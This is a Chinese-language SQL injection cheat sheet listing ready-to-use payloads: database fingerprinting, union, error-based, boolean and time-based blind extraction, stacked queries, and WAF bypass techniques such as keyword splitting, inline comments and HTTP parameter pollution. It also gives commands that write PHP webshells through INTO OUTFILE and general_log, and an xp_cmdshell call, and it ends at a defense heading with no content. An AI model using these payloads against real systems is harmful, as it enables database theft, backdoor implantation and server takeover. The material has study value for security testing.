当客户端提交的数据未作处理或转义直接带入数据库,就造成了sql注入。 攻击者通过构造不同的sql语句来实现对数据库的任意操作。
按变量类型分:数字型和字符型
按HTTP提交方式分:POST注入、GET注入和Cookie注入
按注入方式分:布尔注入、联合注入、多语句注入、报错注入、延时注入、内联注入
按数据库类型分
sql:oracle、mysql、mssql、access、sqlite、postgersql
nosql:mongodb、redis
MySQL5.0以下没有information_schema这个默认数据库
ACCESS没有库名,只有表和字段,并且注入时,后面必须跟表名,ACCESS没有注释
MySQL使用limit排序,ACCESS使用TOP排序(TOP在MSSQL也可使用)
MySQL:and length(user())>10
ACCESS:and (select count(*)from MSysAccessObjects)>0
MSSQL:and (select count(*)from sysobjects)>0
数字型:id=2-1
字符型:' 、')、 '))、 "、 ")、 "))
注释符:-- (这是--空格)、--+、/**/、#
and 1=2 union select version(),2,3
查询所有数据库
and 1=2 union select (select group_concat(schema_name)from information_schema.schemata),2,3
查询所有表名
union select (select group_concat(table_name)from information_schema.tables),2,3
#读当前数据库所有表名
union select (select group_concat(table_name)from information_schema.tables where table_schema=database()),2,3
查询所有字段名
union select (select group_concat(column_name)from information_schema.columns),2,3
#读当前数据,key表的所有字段名
union select (select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='key'),2,3
查询字段内容
#查询test库下users表的id及uname字段,用'~'区分id和uname以防字符连接到一起
union select(select group_concat(id,'~',uname)from test.users),2,3
通用报错语句:(测试版本MySQL8.0.12,MySQL5.0,mariadb5.5版本下)
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
select * from test where id=1 and (extractvalue(1,concat('~',(select user()),'~')));
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
updatexml报错最多只能显示32位,有时需要搭配SUBSTR函数来使用
concat函数被过滤时可以尝试使用make_set、lpad、export_set等函数进行替换
select * from test where id=1 and (updatexml(1,make_set(3,0x7e,(select user()),0x7e),1));
select * from test where id=1 and updatexml(1,lpad('@',30,(select user())),1);
select * from test where id=1 and updatexml(1,repeat((select user()),2),1);
select * from test where id=1 and updatexml(1,export_set(1|2,'::',(select user())),1);
select * from test where id=1 and updatexml(1,reverse((select user())),1);
双注入查询需要理解四个函数/语句
# 使用聚合函数进行双注入查询时,会在错误信息中显示一部分错误信息
# 构造双查询,比如派生表,使一个报错,另一个的结果就会出现在报错的信息中
select count(*), concat((select database()), floor(rand()*2))as a from information_schema.tables group by a;
select count(*), concat('~',(select user()),'~', floor(rand()*2))as a from information_schema.tables group by a;
select 1 from (select count(*), concat('~',(select user()),'~', floor(rand()*2))as a from information_schema.tables group by a)x;
常用函数
# 猜数据库长度
id=1 and (length(database()))>1
id=1 and (length(database()))>50
# 猜第一个字符
and ascii(mid(database(),1,1))>1
# 查询当前数据库所有表数目
and (select count(table_name)from information_schema.tables where table_schema=database())>1
# 查询第一个表的长度
and (select length(table_name)from information_schema.tables where table_schema=database()limit 0,1)>10
# 查表的第一个字符
and ascii(mid((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))>1
# 查某个表有几个字段
and(select count(column_name)from information_schema.columns where table_name = 'xxx' and table_schema = database())>2
# 查第一个字段长度
and length((select column_name from information_schema.columns where table_name='xxx' and table_schema= database()limit 0,1))>1
# 查字段的第一个字符
and ascii(mid((select column_name from information_schema.columns where table_schema = 'db83231_asfaa' and TABLE_NAME ='xxx' limit 0,1),1,1))>105
# 查字段行数
and (select count(*) from db83231_asfaa.atelier)>4
# 查字段内容
length((select username from security.users limit 0,1))>10
ascii(mid((select username from security.user limit 0,1),1,1))>100
通过if语句嵌套子查询进行判断
子查询格式:select * from users where id=(select username from users);
?id=if(1=1,1,(select table_name from information_schema.tables))
?id=if(1=2,1,(select table_name from information_schema.tables))
# 基本延时注入
select * from user where id='1' or sleep(3) %23
# 如果长度大于10,则睡3秒,其他则0秒
select * from user where id= 1 and if(length(version())>10,sleep(3),0);
# case定义条件,when 后面的1表示ture也代表真,当条件为真时,睡3秒,其他则0秒
select * from user where id= 1 and case length(version())>10 when 1 then sleep(3) else 0 end;
id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3
# 利用别名
union select 1,2,3,4,a.id,b.id,* from(sys_admin as a inner join sys_admin as b on a.id=b.id)
获取路径
@@basedir
@@datadir
默认mysql文件导入导出为不允许的
查看配置 show variables like ‘%secure%’;
secure_file_prive=null 不允许导入导出
outfile和dumpfile的区别:
outfile适合导库,在行末尾会写入新行并转义,因此不能写入二进制可执行文件。dumpfile只能执行一行数据。
LPK.dll提权,写启动项提权
综合利用脚本
# 假设网站目录在C:/work/WWW/下
select '<?php @eval($_POST[k]);?>'INTO OUTFILE 'C:/work/WWW/shell.php';
# 未关闭系统函数的情况下<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>
# linux下也可以写入<? system($_GET[\'c\']); ?>
# 过杀软 <?php include 'shell.jpg' ?>
select unhex('十六进制字符串') into dumpfile 'c:/work/WWW/shell.php'
通过程序报错、phpinfo函数、程序配置表等直接获取网站真实路径,有些网站前期已经被人渗透过,因此在目录下留有后门文件通过load_file直接读取。
如果global general_log=’on’也可通过修改配置来获取shell
SET global general_log='on';
SET global general_log_file='D:/phpStudy/WWW/cmd.php';
#只需查询
SELECT '<?php assert($_POST["cmd"]);?>';
当编码位gbk时,%df%27或%81%27数据为空
代码中有urldecode() 函数
%2527 先解码成%27再解码成’单引号
sqlmap -u http://192.168.100.141/index.php/author=123 --prefix "%2527" --suffix "%23"
-prefix为设置前缀 -suffix为设置后缀
设置后缀,防止sqlmap使用内联注入
abc’ 数据经过addslashes过滤,单引号前面添加反斜杠abc',但传到数据库的数据还是abc’
假如在如下场景中,我们浏览一些网站的时候,可以现在注册见页面注册username=test’,接下来访问xxx.php?username=test’,页面返回id=22;
接下来再次发起请求xxx.php?id=22,这时候就有可能发生sql注入,比如页面会返回MySQL的错误。
访问xxx.php?id=test’ union select 1,user(),3%23,获得新的id=40,得到user()的结果,利用这种注入方式会得到数据库中的值。
分号(;)是用来表示一条sql语句的结束。使用;联合注入语句
-1';show columns from table #
xip.io ceye.io
# 大小写绕过
UnIoN SeLcT 1,2,3
# 内联注释
id=-1/*!UNION*/%20//*!SELECT*/%201,2,3
# 特殊字符替换空格
%09 tab键(水平)、%0a 换行、%0c 新的一页
%0d return功能、%0b tab键(垂直)、%a0空格
# 等价函数和逻辑符号替换
hex()、bin()==>ascii()
sleep()==>benchmark()
concat_ws()==>group_concat()
mid()、substr()==>substring()
@@version==>version()
@@datadir==>datadir()
逻辑符号:如and和or不能使用时,尝试&&和||双管道符。
# 特殊符号
反引号,select `version()`,绕过空格和正则
加号和点,"+"和"."代表连接,也可绕过空格和关键字过滤
@符号,用于定义变量,一个@代表用户变量,@@代表系统变量
# 关键字拆分
'se'+'lec'+'t'
%S%E%L%C%T 1,2,3
?id=1;EXEC('ma'+'ster..x'+'p_cm'+'dsh'+'ell"net user"')
!和():'or--+2=--!!!'2
id=1+(UnI)(oN)+(SeL)(EcT)
# 加括号
小括号
union (select+1,2,3+from+users)%23
union(select(1),(2),(3)from(users))
id=(1)or(0x50=0x50)
id=(-1)union(((((((select(1),hex(2),hex(3)from(users))))))))
花括号
select{x user}from{x mysql.user}
id=-1 union select 1,{x 2},3
# 过滤and和or的盲注
id=strcmp(left((select%20username%20from%20users%20limit%200,1),1),0x42)%23
id=strcmp(left((select+username+from+limit+0,1),1,0x42)%23
# 白名单绕过
拦截信息:
GET /pen/news.php?id=1 union select user,password from mysql.user
绕过
GET /pen/news. php/admin?id=1 union select user,password from mysql. user
GET /pen/admin/..\news. php?id=1 union select user,password from mysql. user
# http参数控制
# HPP(HTTP Parmeter Polution)(重复参数污染)
index.php?id=1 union select username,password from users
index.php?id=1/**/union/*&id=*/select/*&id=*/username.password/*&id=*/from/*&id=*/users
# HPP又称作重复参数污染,最简单的是?uid=1&uid=2&uid=3,对于这种情况,不用的web服务器处理方式不同。
# 具体WAF如何处理,要看设置的规则,不过示例中最后一个有较大可能绕过
# HPF(HTTP Parmeter Fragment)(HTTP分割注入)
# HTTP分割注入,同CRLF有相似之处(使用控制字符%0a、%0d等执行换行)
/?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--
select * from table where a=1 union/* and b=*/select 1,pass/* limit */from users—
在版本号小于5的MYSQL,甚至在版本号大于等于5的MYSQL中,WAF将information_schema的任何调用都列进了黑名单,对于数据库表只能猜测。(或许有其他方法)
通过以下语句可以将列名转换
select 1,2,3,4,5,6 union select * from users;
查询数据,其中a是表的别名,每一个派生出来的表都必须有一个自己的别名
select `1` from (select 1,2,3,4,5,6 union select * from users)a
最终payload
-1 union select null,(select concat(`3`,0x3a,`4`),null from (select 1,2,3,4,5,6 union select * from users)a limit 1,1);
set用于设置变量名和值
prepare用于预备一个语句,并赋予名称,以后可以引用该语句
execute执行语句
deallocate prepare用来释放掉预处理的语句
-1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#
拆分开来如下
-1';
set @sql = CONCAT('se','lect * from `1919810931114514`;');
prepare stmt from @sql;
EXECUTE stmt;
#
如原始sql查询:select id,name from t1 where id=1;
当其存在注入时,可以修改表名,和字段名,已达到用原始语句查询目标表数据的目的。
修改表名(将表名user改为users)
alter table user rename to users;
修改列名(将字段名username改为name)
alter table users change uesrname name varchar(30);
1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#
拆分开来如下
1';
alter table words rename to words1;
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(50);
随后使用1' or 1=1#即可查询想要数据
SQL注入防御